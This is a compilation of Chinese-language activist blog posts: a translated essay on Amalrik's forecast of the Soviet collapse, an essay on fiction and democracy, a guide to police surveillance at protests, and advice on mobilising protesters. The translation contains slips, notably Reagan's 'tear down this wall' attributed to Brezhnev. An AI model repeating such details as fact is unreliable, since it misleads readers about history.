作为一名知识分子和作家、记者的朋友，他曾与苏联的民主运动密切相关，并了解其主要的参与者。他说，对于西方人来说，他是一条会说话的鱼在鱼类学家眼中所代表的东西：一个神奇的沟通者，一个外星世界的秘密。

Amalrik 说，相信一个人可以通过调查一个国家的主要意识形态潮流来进行政治预测，这是一个很大的错误。人们可能会把自己分裂成对立的阵营，或者被外部专家分门别类：强硬的左派、民族主义者、自由主义者等等。但是，这些群体总是无定形的。他们的成员之间对于什么是正统信仰或一致的政治纲领，几乎没有表现出任何真正的一致。

思考政治分歧的更好方法是观察社会中哪些部分受到变革的威胁最

大，哪些部分试图加速变革—— 然后想象国家如何管理两者之间的差异。

官僚和政客想保住自己的工作。工人们希望有更好的生活水平。知识分子质疑国家认同的旧道理。这些分歧会给国家权力机构带来生存问题。

“自我保护显然是最主要的驱动力”，Amalrik 写道。“[政府]唯一想要的是一切都像以前一样继续下去：当局得到承认，知识分子保持沉默，不因危险和不熟悉的改革而动摇制度。” 但是，在经济转型、社会演进和代际更迭使得一切都不可能像以前那样继续下去的快速混乱时期，会发生什么？

镇压永远是一种选择，但聪明的统治者会有选择地使用他们的权力—— 比如说，起诉一位作家，或者开除一位触犯领导层的高级官员；甚至更开明的当局可能会 “通过渐进的变化和零碎的改革，以及通过用一个更聪明、更合理的群体取代旧的官僚精英” 来确保政权稳固。

但是，人们应该怀疑那些大肆宣扬改革的领导人实际上在多大程度上致力于实施改革。

- 《不要相信改革》

各国政府都善于认识到 *其他地方* 和其他时代的错误，但是，它们对建立在自己的基础上的不公正现象却很难判断。Amalrik 认为，苏联这样的大国尤其如此。如果一个国家可以在海洋上航行，无人能及，并将人类送入外太空，那么它就没有什么动力向内审视自己核心的腐朽之处。

“该政权认为自己是完美的顶点，因此，无论是出于自己的自由意志，还是通过向任何人或任何事物做出让步，都不想改变自己的方式。”

与此同时，旧的镇压工具（在苏联的情况下是全面的斯大林主义）已被视为落后和不人道而放弃，现在已经生疏得不能发挥作用。社会变得更加复杂，差异性更大，对国家的要求更高，但却不太相信国家能做到。剩下的是一个比任何人—— 甚至是那些致力于更新它的人—— 所能认识到的政治制度要弱得多的政治制度。

当然，没有人曾认为自己的社会处于悬崖边上。当他与他的同志们交谈时，Amalrik 报告说，他们只是希望事情能平静一点，却不知道如

何才能做到这一点。

公民们倾向于把他们的政府当作一个既定的事实，好像除了他们一直熟知的体制和程序之外，没有其他真正的选择。公众的不满，在它存在的地方，最常见的不是针对政府本身，而仅仅是针对它的某些缺点。

“每个人都对财富的巨大不平等、低工资、简陋的住房条件、[以及]基本消费品的缺乏感到愤怒”，Amalrik 写道，“只要人们相信似乎总的来说情况正在好转，他们就会满足于坚持改革主义的意识形态和所谓的渐进的希望。

Amalrik 所遵循的分析路线是 Sakharov 和其他持不同政见者所熟悉的。稳定和内部改革总是处于紧张状态。但他随后提出了一个简单的问题，从而实现了飞跃：突破点在哪里？一个政治体系在引发两种反应中的一种之前，还能寻求重塑自己多久—— 来自那些受变革威胁最大的人的毁灭性反弹？或者变革者意识到他们的目标无法再在现有秩序的体制和意识形态中实现？

Amalrik 警告说，在这里，大国的自欺欺人和自我孤立的倾向使它们处于特别不利的地位。他们将自己与世界隔离开来，几乎没有从人类经验的积累中学习。他们 *想象* 自己能对影响其他地方和体制的弊端免疫。这种同样的倾向可能会在社会上流传开来—— 各个社会阶层可能都会感到自己与政权隔绝，也彼此隔离。

“这种孤立给所有人—— 从官僚精英到最底层的社会阶层—— 都造成了一种几乎是超现实主义的世界图景，以及他们在其中的位置”，Amalrik 总结道。“然而，这种状态帮助维持现状的时间越长，当与现实的对抗变得不可避免时，它的崩溃就会越迅速、越果断。”

「图」

「图」

没有理由相信这种算计只会威胁到某一特定的精英阶层。在适当的情况下，整个国家都可能成为其最终的牺牲品。在他自己的社会中，Amalrik 确定了这一进程的四个驱动因素：一个是扩张主义、干涉主义的外交政策、和随之而来的无休止的战争所产生的 “道德疲劳”；另一个是长期的军事冲突—— 在 Amalrik 的想象中，是一场即将到来的中苏战争—— 所造成的经济困难；第三个是政府会越来越不能容忍公众表达不满，并暴力镇压 “民众不满的零星爆发，或地方暴动”。

他认为，当镇压者—— 警察或国内治安部队—— “与暴动的民众的民族不同” 时，这些镇压可能会特别残酷，这又会 “加剧各民族之间的敌意”。

然而，第四种倾向才是苏联真正的末日：相当一部分重要的政治精英认为可以通过抛弃与民族资本的关系来最好地保证自己的未来。

Amalrik 推测，这种情况可能发生在苏联少数民族中，“首先是在波罗的海地区、高加索和乌克兰，然后是在中亚和伏尔加河沿岸”—— 这一顺序被证明是完全正确的。

他更普遍的观点是，在严重的危机时期，体制内的精英们面临着一个决策点。他们是紧紧抓住赋予他们权力的制度，还是将自己重塑为明白船要沉的远见者？尤其是，当政权被认为 “失去了对国家的控制，甚至失去了与现实的联系” 时，在外围的能干的领导人就有了保全自己的动机，在这个过程中，干脆无视上级的指令。

- 还记得我们曾经分析过的 “权力的支柱” 吗？Amalrik 在这里讲述的就是这个意思《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》

Amalrik 说，在这样一个不稳定的时刻，某种重大的失败—— 例如，“首都民众不满情绪的严重爆发，如罢工或武装冲突”—— 就足以 “推翻政权” 了。他总结说，在苏联，这种情况 “将在1980年到1985年之间的某个时候发生”。

「图」

「图」

Leonid Brezhnev

Amalrik 只是算错了他的国家解体的准确日期，差了7年。米哈伊尔·戈尔巴乔夫试图实现国家的自由化和民主化，释放出一系列的力量，导致苏联在1991年期间片面消失。那年年底，戈尔巴乔夫卸任了这个在他脚下逐渐消失的大国的领导者职务。

不过，在世界历史事件的政治预言史册上，Amalrik 的准确度可能值得一奖。他对大局的判断肯定是正确的。在苏联的情况下，改革最终与国家本身的延续是不相容的。

当西方学者和政策专家开始撰写自己的世纪末大历史时，Amalrik 已

经死了。肯尼迪对帝国过度扩张的危险的警告， 弗朗西斯·福山对自由民主的千禧年颂歌， 以及塞缪尔·亨廷顿论述的新种族主义的文明冲突 …… 但在20世纪90年代初，Amalrik 的作品终于崭露头角。他对苏联解体后出现的情况特别有见地：独立国家的融合，俄罗斯主导的新的准联邦，波罗的海各共和国进入 “泛欧联盟”，以及在中亚，旧制度的更新版，结合了苏联式的仪式和地方专制。美国的保守主义者开始把他作为一种干草原的卡桑德拉。

当全球主义者和反核运动家们在抚摸 Sakharov 并喂养他们自己的幻想与一个暴虐的帝国共存时，论点是，他们应该听从 Amalrik。这样做可能会迫使他们更早地与摇摇欲坠的苏联国家进行对抗，“勃列日涅夫先生，拆掉这堵墙吧！”—— 加速了共产主义的崩溃。

Amalrik 也有很多错误的地方。他误判了苏中战争的可能性，这是他分析的支柱之一（尽管有人会说苏阿冲突是一个很好的替身：一场旷日持久的、令人疲惫的战争，由腐朽的领导人发起，耗尽了苏联政府的资源和合法性）。

他还夸大了与苏联崩溃相关的暴力。它远比任何人预期的要和平得多，尤其是考虑到这个世界上最大的国家中充斥着大量的边界争端、冲突的民族主义和精英的竞争。在30年内，它的继承者之一，俄罗斯，甚至已经重建为一个大国，有能力做一些苏联人从未做到的事：理解和利用其竞争对手的主要社会分化，从美国到英国，具有显著的政治和战略效果。

Amalrik 也没有预见到东西方不同类型的融合的可能性：走向"资本主义"寡头制，这些"寡头"沉迷于"大规模监视"，"极度不平等"，有选择地遵守"人权"，依赖"全球供应链"，结构上易受"市场"和"微生物"的影响。他可能会惊讶地发现，这就是 Sakharov 的 “和平共处” 最终采取的形式，至少在一段时间内。

“苏联的火箭已经到达了金星”，Amalrik 在他1970年的文章结尾写道，“而在我生活的村庄里，土豆还在用手挖。” 他的国家曾投资追赶对手（赶英超美），它曾努力作为一个全球"超级大国"进行竞争。但是，一些基本的东西却无人问津。它的公民在经济发展的道路上停留在不同的站点上，彼此之间和他们对统治者都不太了解。

Amalrik 认为，在这种情况下，逐步民主化和与西方进行富有成效的合作的未来只是一个幻想。面对一连串的外部冲击和内部危机，面对国外更有活力、更有适应力的竞争者的追捧，他的国家所拥有的生命力远不如当时任何人所能看到的。

所有国家都会结束。每个社会都有自己的岩底，被黑暗遮蔽，直到冲击迫在眉睫。

Amalrik 写道，在六世纪时，罗马论坛上就已经有山羊在吃草了。作为一个自身状况的理论家，他在很多方面都是一个宿命论者。他认为，苏联缺乏灵活的能力，无法进行制度上的撼动性改革并继续生存。他是正确的。但他更广泛的贡献是向其他结构不同的国家的公民展示了如何居安思危。他提供了一种技巧，可以使人们深入了解最深奥的政治神话，并时不时地提出可能摆在边缘的问题。

这种方法不会揭示政治不朽的秘密 (记得论坛上的那些山羊)，但是，在系统地研究可以想象到的最坏结果的潜在原因时，人们可能会更聪明地了解现在需要做出的困难的、改变权力的选择—— 那些将使政治更适应社会变革、使自己的国家在历史舞台上更有价值的选择。

📌 有权势的人不习惯于这样思考。但在较小的地方，在持不同政见者和流离失所者的群体中，人们不得不熟练掌握这些自我探索的艺术。

我们应该在这里呆多久？我们在箱子里应该放什么？在这里还是在那里，怎样才能发挥我的作用？在生活中，就像在政治中一样，无望的解药不是希望，而是计划。〇

How a Great Power Falls Apart

原文

如何虚构一个民主实践？ - iyouport

社会反抗和思考

【2019年5月15日存档】虚构作品并不仅作为历史的例证，而是透过类比模型而置身于历史当中。虚构作品代表了一种隶属于历史现实的交际性行为，它远比介入政治复杂许多。在现代，什么才是一个虚构的民主实践？

我们提出一个假设：将要分析的虚构作品不只是以朝向民主的历史运动为主题的， 它们也力于在语用学层面运用民主规则，塑造出规范与评判中的民主性。小说为了与19世纪主导文坛的民主预言叙事切断联系，为了真正地变得民主，它需要消除在作品里构建“心灵净化” (cathartique) 的判断这个倾向，同时还要反抗在所有完成的作品里的整体化。

首先，有必要为民主这个观念作若干澄清。

在定义民主或现代国家的概念时，最近的研究往往侧重于民主的历史性和行动者的个人策略。民主概念的含糊性，处于如此一种张力中：这种张力介于一个由机关组织和程序所介定的政治体制(特别是投票和权力更替，政治学家的类型中不会忘记提出这一点)，与那些我们称之为一个“社会的象征系统”的东西之间，又或者存在与一种交往的伦理，一种标志着某个类型社会的公共生活的规则精神之间。

克洛德·勒福尔 (Claude Lefort) 基于他对托克维尔的解读制定了一套理论，其后由皮埃尔·罗桑瓦隆 (Pierre Rosanvallon) 继承，这套理论的有力之处在于它关注的是这个观念的两个面向—— 即权力的形式和社会空间—— 是如何重叠在一起的。

它们打开了一条路径，让我们可以用一种新的方式去构想民主与文学的关系，这套理论超越了简单的反映论，即虚构作品是民主历史的镜子。

文学研究如何可以融合这个民主的新进路呢？

首先，必须放下传统的观点。传统的观点认为文学就是为了展示一个理想 (un idéal) (例如透过法国十七世纪戏剧里对暴君的批评) ，或是一个乌托邦，这些都完全没有自主意识要进入分析对象的状态。当我们谈及一部作品，如《情感教育》(L'Éducation sentimentale，1869) 时，文学与政治之关系的这种观念，其限制变得明显，因为民主的意念固然存在于这部作品里，但并不是以理想或历史宿命的方式出现。

然而，对我们来说，这里同样不涉及把文学化约为一个作家自身摆脱不了的权力话语。受福柯(Foucault) 或文化研究启发的分析因为常常如此认为，而忽视了虚构作品文本的独特性：它们把某些元素隔离开来，并把这些元素看作霸权话语的痕迹，不关心这些元素在作品内的位置。

同样，一部文学作品在与历史的关系中—— 更是一个虚构的作品，文学作品既不是一个历史律则的展示，也不是多种叙述的简单并置，亦不是由一系列话语制造出来的历史见证的并置。

我们把重点放在文学和民主观念的关系，这意味着拒绝把文学简化成一个在现实中没有直接立足点的理想这种表现方式，相反地也拒绝把文学化约为众社会力量的关系之间的简单呼应。民主的文本，即使不包含一个理想或一个历史宿命，它仍处身于一个政治计划中，仍可以在一个公共空间内重新创造意义。

把民主构想成一种张力、一段未完成的旅程，可以用同样的方式让我们超越传统的、“介入社会的文学” (为了一个经常被简化为社会平等的政治理想) 与“纯文学” (因而是不介入政治的) 的二元对立。

虚构一般会保持一种不能化解的张力，这种张力介于它所追溯的个体旅程的未完成状态，以及虚构所产生的象征全体性效果之间 (小说作为交际性行为，比介入政治复杂许多)。尽管虚构的谱系与道德规范之间关系纠缠不清，它仍表现了一些接近于民主实践的类别特征。

在最近关注这些特征的研究例子中，可以引用尤利·埃桑兹威格 (Uri Eisenzweig) 的《无政府主义小说》(Les Fictions de l'anarchisme)；奈莉·胡尔芙 (Nelly Wolf) 的《民主的小说》(Le Roman de la démocratie)。当中，作者把长篇小说这个文类视为一份民主类型的阅读契约;或雅克·朗西埃 (Jacques Rancière) 的《喑哑话语》(La Parole muette)，这本书从一个更历史主义的角度来评价“文学”这个观念，他认为由十九世纪的撕裂而冒出的文学，对应着书写艺术的“民主政体”。

因此，我们要做的不是从方法论的角度来使虚构研究变得平庸，而是将之放在其他社会实践的语境里。我们欣然认同诸如克里斯琴·茹奥 (Christian Jouhaud) 对文学的看法，例如在有关文学和十七世纪权力的研究里，他建议要研究“文人”（les littérateurs）：

我已经设定了一个目标，就是认识他们书写行为的特性，但不意味着这些行为与那个时代其他人类行为一定有不可比较的价值。我只是简单地想书写历史，一种由几个社会行动者透过书写或在书写之外，完成了若干行为的历史，这是相对政治权力的历史而言。

虚构不是他研究领域的重心，但我们的假设是，虚构也可以被理解为这样一个置身于社会场域的“行动”，它能以代表了民主社会的其中一个实践的名义被研究。

哈贝马斯 (Jürgen Habermas) 第一个提出，在十八世纪欧洲，阅读小说的私人空间的发展导致了公共空间的制度化，虚构作品从而成为传播一种民主精神的首要载体。

在中国，对民主的探询在二十世纪占据着中心位置，五四文学的文本及其附带的现代性工程，为这个问题带来了一种新的目光。因此，哈贝马斯在文章《现代性，一个未完成的工程》里提出，现代主义的虚构作品打破了文学经典这个局面，它和企图打碎传统政治体制的无政府主义有深刻的關係。

事实上，哈贝马斯在这个语境所提及的无政府主义相当于一个民主革命的前提。如果“传统”是奠基政治体制的虚构，那么无视、甚至毁坏传统的现代主义文学则在那具民主色彩的质疑中，转化成一个重要的角色。从这个角度来看，我们将要研究的作品因着它们一同探询虚构作品与传统断裂的能力，以及虚构作品重建一种历史意义的能力，而变得关系密切，特别是它们都是从源于19世纪欧洲的批评现代性的思想出发的。

透过对比欧洲和中国对传统的扬弃，可以回到关于现代性的普遍性这个讨论点，由施维叶(Yves Chevrier)的一段话来概括：

在现代性被视为一个计划的情况下，是否存在一个或多个特征呢？这就是问题所在了。与传统断裂关系，扬弃传统遗留下来的痕迹，建立一个创造性的主权，从作品的参照到作品本身。这个计划的普遍性，不是在与传统撇除关系的情况下，与一个历史界定了的、文化上预设了的状态恰恰相反吗？

可以从现代性和扬弃传统的形式，两者之间的关系切入，或者换一个说法：文学现代主义的政治意涵。如果我们曾经指责过现代作家，就如同我们曾经指责过革命分子和民主主义者一样，指责他们将自身的历史（“传统”）与他们自身的地理（国家）相割裂的话，那么五四作家就更相信，与文学传统割裂这点，与一个普遍民主的现代国家的来临息息相关。

这种信念虽然无法排解所有忧虑，但它也引导我们去探询有同样需要的欧洲作家，其实践是如何在对历史屈服和文学的孤芳自赏之间，为虚构作品在现代性中寻找一条出路的。

原文

如何识别抗议活动中可见的和不可见的监视 - iyouport

你应该了解的现实社会反抗和思考维稳面面观

【2020年10月13日存档】监视的目的是最有效地镇压、包括扼杀任何反抗动员，如果您希望自己参与的抗议活动能获得成功，至少没那么容易被消灭，您就需要警惕所有这些警察间谍手段……

今年最大规模的抗议活动是关于反抗警察对 Breonna Taylor、George Floyd 以及其他无数手无寸铁的公民实施的暴力袭击和杀戮。

【在这里看到每年有多少人被警察暴力杀害】

在整个反抗运动中，不仅有传统的防暴盾牌、催泪瓦斯和维稳战术的展示，而且，现代警务的数字化武器也出现了：丰富的监视技术不论是街头还是在线。

在下面看到曾经的总结：

- 《警察用哪些监视方式瞄准抗议者？》

如果您准备参加抗议活动，请别忘了下面的指南，以了解如何确保个人和数字设备的安全：

- 《如何在监视时代参加抗议活动》
- 《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》

这里是对监视技术的回顾，关于警察将会如何部署以镇压反抗运动。

可能可见的监控技术

「图」

1、身体相机

「图」

佩戴着身体相机的警察，资料来源：休斯敦警察局

- 关于身体相机的问题《身体相机适得其反吗？中国正在开始流行这种东西》

与许多其他形式的警用技术不同，随身佩戴的身体相机既可作为执法功能，也可作为问责功能。警察佩戴的身体摄像机可以记录警察的不当行为和使用武力的情况，但是，录像也可用于监视警察与之互动的任何人和可能根本没有意识到自己被拍摄的第三方。

如果与人脸识别或其他技术相结合，数以千计的警察佩戴的随身摄像机可以在特定时间内记录大部分抗议者的言行和位置，这引起了第一和第四修正案的严重关注。因此，加州目前已经暂停在移动警务设备上使用人脸识别技术，包括身体相机。*Axon Flex*摄像头系统 来源：*TASER Training Academy presentation for Tucson Police Department*

身体相机有不同的款式，有些戴在胸前，有些是在警察的肩膀上，而在某些情况下，摄像机可能部分隐藏在背心下面，只有镜头露出来。

并且，还有一些公司在销售包含监视摄像头和人脸识别功能的战术眼镜，就像中国使用的那种。警察背心上的扣子之间可以看到戴在身上的监视摄像机镜头。来源：*Laredo Police Department Facebook*

■ 中国有这个东西吗？是的，有。

2、无人机

「图」

Sahuarita 警察局在桌上摆放的无人机。*Source: Town of Sahuarita YouTube*

无人机不仅可以用来监视，还可以而且已经被用来镇压了，见：

- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《抗议者使用数百个激光笔”击落”警察无人机》

无人机可以配备高清晰度的实时视频摄像机、热红外摄像机、热传感器、自动车牌读取器和雷达，所有这些设备都可以进行复杂和持久的监视。

无人机可以在白天录制视频或拍摄静止图像，也可以使用红外技术在夜间拍摄此类视频和图像。它们还可以配备其他功能，如手机拦截技术，以及其他软件工具，如车牌阅读器、人脸识别和**GPS**跟踪器。

- 《空中监视如何追踪抗议者？》

在美国，已经有人建议执法部门在无人机上安装致命性和非致命性武器。

无人机的大小不一，从小型四旋翼飞机 (又称sUAVs) 到大型固定翼飞机，如捕食者无人机。它们比普通飞机或直升机监视更难以被发现，因为它们更小、更安静，有时可以在天空中停留更长时间。

活动人士和记者也可以在抗议现场部署无人机，行使第一修正案的权利，收集警方对抗议者的反应信息。因此很难判断抗议现场出现的无人机究竟属于谁，所以也更危险。

- 《如何防止被无人机监控？（热成像监控的抵制方法）》

■ 中国有这个东西吗？是的，有。

3、自动车牌读取器

「图」

Photo by Mike Katz-Lacabe (CC BY)

自动车牌阅读器 (ALPRs) 是一种高速的、计算机控制的摄像系统，可以安装在电线杆、路灯、公路立交桥、移动拖车或警车上。

ALPRs 自动捕捉所有进入视野的车牌号码，以及地点、日期和时间。这些数据包括车辆的照片，有时还包括司机和乘客的照片，然后上传到一个中央服务器。Photo by Mike Katz-Lacabe (CC BY)

在抗议活动中，警方可以部署ALPRs，以识别驶向、驶离或停在游行示威或其他公众集会现场附近的任何人。例如，CBP在一个由第二修正案支持者参加的枪支展上部署了一个ALPR拖车。

与城市周围的其他 ALPR 一起使用，警方可以跟踪抗议者从示威现场到家的每一步行程。

■ 中国有这个东西吗？是的，有。

4、移动监控拖车

「图」

A ‘Mobile Utility Surveillance Tower’ at San Diego Comic-Con and a mobile surveillance pole in New Orlean’s French Quarter

美国有数百个警察部门都有这种移动监控车，可以停放在抗议活动现场上方数层楼高的地方。

这些拖车通常配备有摄像头、聚光灯、扬声器，有时还有供警察使用的小型封闭空间。它们往往还具有自动报警功能。

常见的监控塔楼包括 Terrahawk M.U.S.T.，它看起来像安装在面包车上的警卫塔，以及 Wanco 监控塔，它是一个带有大型可延伸杆的卡车拖车。

■ 中国有这个东西吗？不知道，只因为没有在抗议活动现场看到过这个东西出现。但理论上中国应该有，因为这个东西很容易买到。

5、FLIR监视相机

「图」

前视红外（FLIR）摄像机是一种热像仪，可以读取人的体温，并可在夜间进行勘察。这些监视相机可以是手持式的，也可以安装在汽车上、步枪上或头盔上，并经常与飞机、直升机或无人机等空中监视结合使用。

■ 中国有这个东西吗？是的，有。

也许不可见的监控技术

「图」

1、人脸识别（或其他视频分析）

「图」

人脸识别系统可用于识别照片、视频或实时地识别个人。警察也可以在街上随机拦截过程中使用移动设备来识别个人的身份。

在抗议活动中，你遇到的任何监视摄像头都可能启用了人脸识别或其他视频分析功能。这包括警方的身体摄像机、安装在建筑物上的监视摄像机、路灯上的监视器、或拖车上的监控塔。

此外，一些警察部门有生物识别设备，如专门的智能手机和平板电脑，可显示被拘留者的身份。同样，在监狱和拘留设施的登记过程中，也可以进行人脸识别。

■ 中国有这个东西吗？是的，有。

2、社交媒体监视

「图」

社会媒体监视很普遍，特别是围绕抗议活动的监视，即 社交媒体情报。

- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 《社交媒体情报如何威胁你的安全》

警方经常搜索社交媒体标签、热点事件、数字互动和联系、以及在线组织团体。这可以由实际的人进行，也可以由经过训练的算法来收集含有某些标签、单词、短语或地理位置标记的社交媒体帖子。

警察会使用袜子木偶账户渗透到在线私密群组中进行监视，比如最臭名昭著的 “Bob Smith”。

■ 中国有这个东西吗？是的，有，都已经近20年了。见《这不是一场竞技表演：关于IYP为什么要采取开源情报》

3、黄貂鱼

「图」

黄貂鱼已经在全世界泛滥。

- 《黄貂鱼被放在飞机上一次性监控成千上万部手机》

- 《黄貂鱼的崛起》
- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》

操纵黄貂鱼的警察一旦识别出手机的IMSI，便可以尝试识别拥有这些手机的抗议者身份。

在没有抗议活动的情况下，警察也使用黄貂鱼来识别特定电话（及其所有者）的位置，其准确性通常比电话公司蜂窝站点位置信息的准确性更高。

■ 中国有这个东西吗？是的，有。

4、实时犯罪中心

「图」

弗雷斯诺警察局的实时犯罪中心。资料来源：弗雷斯诺警察局2015年年度报告

实时犯罪中心(RTCCs)是由警官和分析人员组成的指挥中心，负责监测各种监控技术和数据源，以监视整个社区。

实时犯罪中心往往提供一个中心位置，用于分析ALPR馈送、社交媒体情报和监视摄像头网络，并为分析人员提供使用预测性算法[少数派报告技术]的能力。

- 《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》
- 《数十个城市实验了”少数派报告”中描述的技术》
- 《“社会信用”监视：英国、中国、美国和日本》

■ 中国有这个东西吗？是的，有。

最后

「图」

EFF 这篇文章分析的是美国的抗议者将面对哪些监视技术，但是，如您所见，其中提及的所有技术中国基本都有。换句话说，准备组织或参加抗议活动的中国公民，需要首先了解自己将身处的环境，以便提前做好准备。

您也许很勇敢可以说自己“不担心被监视”，但是监视的目的是最有效地镇压、包括扼杀任何反抗动员，如果您希望自己参与的抗议活动能获得成功，至少没那么容易被消灭，您就需要警惕所有这些警察间谍手段。〇

How to Identify Visible (and Invisible) Surveillance at Protests

原文

如何说服人们参加抗议活动 - iyouport

反抗者-寻求经验社会反抗和思考

【2021年3月17日存档】人们会以哪些理由拒加入抗议？

和平集会是受到宪法保护的公民权利 —— 在全球大多数国家的宪法中都有此条款，包括中国。中国宪法第35条写道，“中华人民共和国公民有言论、出版、集会、结社、游行、示威的自由。”

但是，如您所知，完全和平的抗议活动同样在全世界范围内都是暴力镇压的主要受害者，宪法几乎“顶个球”。您可以在我们的“维稳面面观”板块中看到非常多镇压武器和技术的调查曝光，它们都来自于那些是具有冠冕堂皇的宪法的国家。

人类历史上的几乎每一次抗议都会遭到镇压，抗议者常常得不到任何有效的援助。对那些不甘于忍耐的人们来说，抗议是一种政治工具，涵盖了广泛的形式，从和平抗议和静坐、到大声疾呼的示威，经常会导致与镇压部队发生冲突。

我们在今天发布的另一篇文章中已经介绍了宪法为什么不等于宪政，见《少说话，多办事》，对伪民主的抵制是印度抗议活动的重点。印度人口与中国最为近似，于是印度的抗议规模可作为中国可能的抗议规模的一个最接近的参考。

不论是2019年初386英里的人肉长城，还是去年底有史以来最强大、最广泛的抗议活动 —— 抗议者进行了长达一个多月的静坐，以反对现政府的法西斯主义政策 —— 莫迪政府推行的国家公民登记册和公民身份修正法；印度公民的抗议热情应该引起全世界反抗者的关注。

在中国，我们最常听到的哀怨就是“中国人联合不起来”；中国人口并不少，而且平均受教育程度要高于印度，那么为什么会这样？印度活动家又是如何动员到如此多的人参加抗议活动的？

要回答这个问题，不如先来看看，人们为什么拒绝参加抗议活动。

大致可能会有几种最常见的原因。

1、认为“抗议不会带来任何改变”

「图」

异议的过程 —— 尤其是针对当权政府的异议 —— 绝不是短跑，而是马拉松。抗议不会自动或立即导致压迫性政策的改变或撤销，但它们是动员群众和明确运动要求的第一步。

这为积极人士向政治代表发出呼吁、并就现行政策的妥协和改变开始对话，提供了动力。抗议不会立即产生变化，但如果没有抗议，变化是绝对不可能的。

我们在去年底的访谈中强调过这点。中国朋友表示“虚无在弥漫”，人们追求一次性的成功，从而拒绝甚至抵制任何不能一次性成功的提议。这完全是不现实的。这是对抗议活动的理解性错误。

我们在去年的“通过BLM”系列第4集中专门讲述了这点：

- 抗议活动当然有效，但通常不是以许多人所认为的方式和时间框架体现的。抗议活动有时在短期内看似失败，但抗议活动的大部分力量在于其对抗议者本身和社会其他方面的长期影响。
- 在短期内，抗议可以在一定程度上发挥作用，人们可以震慑当局以令当局改变其行为。抗议是一种信号—— “我们很不高兴，我们不会忍受这种方式。”但要想抗议奏效，“我们不会忍受”这部分必须是可信的 —— 组织难度、人数规模和坚持不屑的精神，都可以体现这种可信度。
- 抗议之所以有效，还因为它们改变了抗议者本身，使一些人从偶然的参与者变成了终生的活动家，这反过来又改变了社会。集体行动是一种改变生活的体验。置身于要求积极的社会变革的人海中，是一种增强能力和令人振奋的体验。
- 抗议之所以有效，是因为在那一刻，抗议者心中的问题不再是短期有效还是长期有效，而是—— 在严重的不公正现象展开的时候，人们是否可以袖手旁观多一天。而这也许就是抗议活动最有力的手段：当问题如此之大以致于抗议者不再去计算是否有效，而是感觉到在道义上不得不参与其中。

抗议真的有效吗？只有当人们不再思考这个问题的时候，你就会看到希望。

历史上有大量的例子可以证明这点：1913年美国的妇女选举权游行，当时有8000名妇女为争取选举权而加入抗议，掀起了一场更广泛的选

举权运动，最终才促成了妇女享有选举代表的权利；1930年圣雄甘地的“食盐游行”成为一场更大范围的公民抗命运动的关键事件，最终促使印度从英国殖民统治中获得独立。去年底，印度全国各地反NRC-CAA 抗议浪潮除了静坐和包围等战术之外，还采取了向最高法院请愿的形式，对这些政策提出质疑，最高法院不得不答应举行听证会，以解决抗议者的关切。

再一次，指望一次性的“成功”是不合理的，您所挑战的恶行越是深厚，就越是如此；某一场胜利也并非终点站，很多时候您必须反复多次赢得同样的战斗。持衡能力最强大的反抗者，将是最终赢家。

2、“抗议只是具有相同信念的人之间的回声室”

「图」

我们在中国也听到过类似的观点和说法，比如“反贼圈子”，就好像异议人士是个小圈子，和外人互不相关？事实上并非如此。反抗者的工作与所有人相关，他们的努力是在为所有人争取未来。

活动家必须能找到真正的动员触发点，这就是为什么我们在《打破matrix的路》中特别强调知识分子要像活动家那样思考 —— 活动家从知识分子的论述中获得动员能量，如果知识分子不能将论述主题放在有利于调动最广泛的支持度和行动力的角度上，活动家的动员效果肯定大打折扣。

当然，活动家之间肯定具有相同或相似的信念，有共同目标，并具备足够的朝着这一目标努力的热情，这会让他们看起来“内部抱团”；但这并不是因为反抗运动是“这一小群人自己的事”。这是异议知识分子应该出现的地方，准确地告诉人们：

- 抵制面部识别的努力并不只是技术本身的问题，也不是仅仅为了保护敏感人士；它是所有人的基本人权和尊严的问题，是全社会的反压迫行动；
- 反抗警察暴力是反抗私刑，每一个不想蹲冤狱、不想被殴打和刑讯逼供的人都应该加入这场抗议，爱党爱国老实听话并不能保护你；
- 抵抗996、为富士康自杀者申诉，是抗议流氓资本主义体制的剥削本性，每一个生活在这个体制下的人们都是被奴役者；除非你是那1%统治阶级，否则你不可能从这种残酷的体制中受益 ……

当您动员到足够多的人时，必然会发现各种不同的社区参与其中，他们肯定会更侧重于自己社区的利益角度。但这并不意味着您需要给所有统一口号和论述，因为你们有共同的目标 —— 即 终结一种或多种恶行，不论理由是什么，目标是你们最强大的凝聚力。

像去年底在印度发生的抗议活动那样广泛的行动，参与人数众多且多样化，活动家需要为各种交叉性关切提供空间，其中所有关切都是有效的，也是实现全面变革的必要条件。例如，在 NRC-CAA 的抗议活动中，抗议者为面临独特风险的变性人创造了表达异议的空间；Shaheen Bagh 的活动家表达了对女性在NRC下的独特困境的关切，运动整体上跨越了阶级和种姓界限；全国各地的学生对警察暴力问题的强调将反抗运动拉入了更大的范围。

3、“抗议只是那些没有工作的闲着没事干的人琢磨的事儿”

「图」

这的确是个问题！**996**式资本主义是个强大的维稳工具，让每个人为了还房贷和糊口而拼命工作、占据所有人的时间和精力，人们就无暇反抗了，甚至没有时间思考任何真正有意义的事。钱，成为了唯一的意义。

我们在中国、甚至在美国的华裔移民群体中也听到了类似的抱怨，人们称BLM和香港的抗议活动“耽误我赚钱了”。

我们在去年纪念 David Graeber 的推荐书目中指出了这种问题：

这些书在这里下载：《去它妈的工作》。

您完全不必急于批评那些“不配合”的人，他们是被这个体制绑架的，统治阶级早就精心设计了这个严密的牢笼，就在每个人的心里 —— 这就是为什么他们将最大的财力和精力投入到构建 **matrix** 上；他们控制了所有报纸、电视和互联网，不断地向人们灌输伪成功学的思想，他们要把每个人的全部精力都吸入维稳机器，变成能源。

作为动员者，您需要告诉人们，抗议的确是“不方便”的。要想在宏观政治层面上实现变革，换句话说，打破现有的常态，抗议者就必须承受日常生活的不便之处。

对于那些从事白领工作的人来说，勇敢面对这种不便会比那些来自工人阶级背景的人们更容易，因为后者存在于更严格的工作场所里，他

们的表达机会更少。

从古至今任何国家的抗议活动都是为了挑战现状而存在的，它们需要人们 —— 来自各种背景的人 —— 放下手头的一切去参与。往往是社会上最受压迫的人需要站出来抗议，因为现状对他们的伤害最大。他们一直在这样做，而且会继续这样做，直到他们的宪法权利得到保障。

